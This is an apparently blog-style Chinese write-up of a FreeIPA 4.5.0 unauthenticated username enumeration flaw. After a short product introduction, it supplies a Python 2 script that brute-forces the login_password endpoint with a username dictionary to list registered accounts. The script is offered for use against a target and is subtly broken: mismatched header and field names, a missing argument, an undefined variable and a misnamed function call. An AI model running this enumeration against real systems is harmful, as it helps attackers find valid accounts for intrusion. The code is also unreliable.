
正文
freeipa未授权遍历注册账户漏洞
提示:扫一扫查出行【扫一扫了解最新限行尾号】
复制提示
一、freeipa简介:
freeipa是一款集成的安全信息管理解决方案。freeipa包含Linux (Fedora),389 Directory Server MIT Kerberos, NTP, DNS, Dogtag (Certificate System)等等身份,认证和策略功能。freeipa还集成了ldap+Kerberos(Kerberos 认证原理不多说,简单的说就是在身份认证的时候不传输密码,而是在传输票据,更加安全可靠)+web管理的集中式用户认证管理系统(系统级别的sso,可以对apache,ftp,nfs,ldap,smtp ,ssh做身份认证。但是对samba 的身份认证不支持。samba貌似只支持AD),同时还可以与微软的AD进行用户信息的同步。
二、freeip漏洞环境:
1、版本:4.5.0
2、漏洞点(URL):https://target_ip/ipa/session/login_password
3、漏洞原理:登录页面对于用户名字段的验证存在查库行为,user是否在库中的结果信息反回到了前端。
4、登录需求:不需要登录。
三、漏洞验证
第一张图验证不存在的账户

第二张图验证存在的账户

可以写一个脚本来跑出所有注册用户:
-*- coding:utf-8 -*-
'''
freeipa注册账户描爆破测试脚本
freeipa版本 4.5.0
''' #引入包文件:
import sys
import time
import requests #全局变量定义:
header_struct = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:58.0) Gecko/20100101 Firefox/58.0",
"Referer": "https://%s/ipa/ui/",
"X-Requested-With": "XMLHttpRequest",
} post_data = {"user":"","password":"just so so"}
username_dict = "./username.txt"
username_list = [] #全局函数定义:
def username_list_init_from_file():
"""从用户名字典文件中获取用户名"""
with open(username_dict,"r") as fr:
for line in fr.readlines():
line = line.split("\n")[0].split("\r")[0]
username_list.append(line) def send_crack_packet(username,target):
"""发送爆破登录请求报文"""
global post_data
global header_struct
url = "https://%s/ipa/session/login_password"%str(target)
header_struct["referer"] = header_struct["referer"]%str(target)
post_data["username"] = username
try:
response = requests.post(url,headers=header_struct,data=post_data,verify=False)
except Exception,ex:
print ex
return False
if response.content.find("Password incorrect while getting initial credentials") >= 0:
return True
else:
return False def crack(target):
"""遍历用户名字典,尝试破解"""
for user in username_list:
if send_crack_packet(user):
print "Cracked!"
print "Find a register user! Username:",pswd if __name__ == "__main__":
target = sys.argv[1]
user_list_init_from_file()
crack(target)







